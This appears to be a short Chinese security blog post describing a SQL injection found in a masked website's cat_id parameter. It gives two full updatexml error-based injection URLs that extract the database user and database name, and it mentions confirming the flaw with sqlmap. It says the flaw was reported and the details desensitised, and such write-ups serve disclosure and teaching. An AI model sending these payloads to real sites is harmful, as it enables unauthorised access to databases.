【相关分享】记一次SQL注入漏洞

免责声明

❝

由于传播、利用本公众号"隼目安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"隼目安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢！

本文中所涉及的相关漏洞已经向相关单位与平台进行报告，本文中图片、内容等均已脱敏！！！

首先进入主页

随便点进去一个并找到这个数据包进行访问

访问后再cat_id这里添加一个单引号显示报错

根据这个报错点进行分析

进行报错注入获取下用户名

payload:https://www.xxxxx.com/ajax/visitrecord/?table_name=doc_real&data_id=93682&cat_id=updatexml(1,concat(0x3a,user(),0x3a),3)&request_from=1

成功报错获取到用户名后获取数据库库名

payload：https://www.xxxxx.com/ajax/visitrecord/?table_name=doc_real&data_id=93682&cat_id=updatexml(1,concat(0x3a,database(),0x3a),3)&request_from=1

使用sqlmap进行扫描后获取到存在

文稿 | 雾鲤

制作 | x8i

审发 | 隼目安全